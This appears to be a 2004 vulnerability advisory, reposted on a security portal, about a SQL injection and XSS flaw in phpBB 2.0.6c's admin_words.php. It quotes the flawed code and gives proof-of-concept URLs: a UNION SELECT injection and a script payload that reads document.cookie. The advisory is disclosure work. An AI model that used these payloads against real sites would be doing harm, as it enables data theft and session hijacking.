Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 19, 2013
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: coolcode
New Today: 3
New Yesterday: 3
Overall: 8618

People Online:
Visitors: 250
Members: 2
Total: 252

Online Now:
01: coolcode - Forums
02: payback_boy - Forums
milw0rm
·[web applications] - Moa Gallery 1.2.6 Multiple Vulnerabilities
·[web applications] - ZPanel Crafted Template Remote Command Execution Vulnerability
·[dos / poc] - nginx 1.3.9-1.4.0 DoS PoC
·[web applications] - CKEditor < 4.1 Drupal 6.x & 7.x - Persistent XSS Vulnerability
·[web applications] - Wordpress hd-player 0day Exploit
·[web applications] - Exponent CMS 2.2.0 Beta 3 LFI / SQL Injection Vulnerabilities
·[remote exploits] - SSH User Code Execution Vulnerability
·[remote exploits] - Mutiny 5 Arbitrary File Upload Vulnerability
·[web applications] - Wordpress Newsletter 3.2.6 Cross Site Scripting Vulnerability
·[local exploits] - Kloxo 6.1.12 Privilege Escalation Vulnerability

read more...
PacketStorm News
·Red Hat Security Advisory 2013-0832-01
·RSA SecurID Sensitive Information Disclosure
·EMC VNX / Celerra Control Station Privilege Escalation
·Ubuntu Security Notice USN-1831-1
·Red Hat Security Advisory 2013-0831-01
·Ubuntu Security Notice USN-1830-1
·Red Hat Security Advisory 2013-0830-01
·Ubuntu Security Notice USN-1829-1
·Slackware Security Advisory - mozilla-thunderbird Updates
·Slackware Security Advisory - mozilla-firefox Updates

read more...
[waraxe-2004-SA#009] - Non-critical Sql injection and XSS bug in PhpBB 2.0.6c





Author: Janek Vind "waraxe"
Date: 16. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PhpBB is widely used and very popular forum software, written in php.
Homepage: http://www.phpbb.com/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Original code from admin_words.php, $Id: admin_words.php,v 1.10.2.2 2002/05/12 15:57:45,
starting from line 74:

-------------------------------

if( $mode == "edit" )
{
if( $word_id )
{
$sql = "SELECT *
FROM " . WORDS_TABLE . "
WHERE word_id = $word_id";
if(!$result = $db->sql_query($sql))
{
message_die(GENERAL_ERROR, "Could not query words table", "Error", __LINE__, __FILE__, $sql);
}

$word_info = $db->sql_fetchrow($result);
$s_hidden_fields .= '<input type="hidden" name="id" value="' . $word_id . '" />';
}
else
{
message_die(GENERAL_MESSAGE, $lang['No_word_selected']);
}
}

--------------------------------

As we can see, parameter $word_id is submitted to sql query WITHOUT single quotes, therefore
it's possible sql injection, for example with UNION method:

http://localhost/phpbb206c/admin/admin_words.php?mode=edit&id=-1%20UNION%20ALL%20SELECT%20null/*

and we get error feedback:

------------------------------------------------

Error Could not query words table

DEBUG MODE

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT * FROM phpbb_words WHERE word_id = -1 UNION ALL SELECT null/*

Line : 83
File : D:apache_wwwrootphpbb206cadminadmin_words.php

------------------------------------------------

By implementing so-called "blind" sql injection methods, we can pull out from sql database any
information. So why i'm categorizing this bug as "non-critical"? Because we need first log in as
forum administrator to make successful attack. So it's not so "useful" security bug ;)
But let's think again - what, if we make such request:


http://localhost/phpbb206c/admin/admin_words.php?mode=edit&id=1/*"><script>alert(document.cookie);</script


So, in this way we can turn not-so-useful sql injection bug to very useful xss exploit.




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum staff and to all IT security related people in Estonia! Tervitused!
Special greets to ulljobu!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (3305 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2405
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 481
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 371
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Linux Kernel CVE-2013-2094 Local Privilege Escalation Vulnerability
·Vuln: OpenStack Keystone Tokens Validation Security Bypass Vulnerability
·Vuln: RETIRED: ownCloud Multiple Security Vulnerabilities
·Vuln: OpenStack Compute (Nova) CVE-2013-2096 Denial of Service Vulnerability
·Bugtraq: CONFidence - May, 28-29, Krakow, Poland - a conference adventure that never stops!
·Bugtraq: [slackware-security] ruby (SSA:2013-136-02)
·Bugtraq: [slackware-security] mozilla-thunderbird x86_64 packages (SSA:2013-136-01)
·Bugtraq: APPLE-SA-2013-05-16-1 iTunes 11.0.3
·More rss feeds from SecurityFocus

read more...
alexa



It book reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.060 Seconds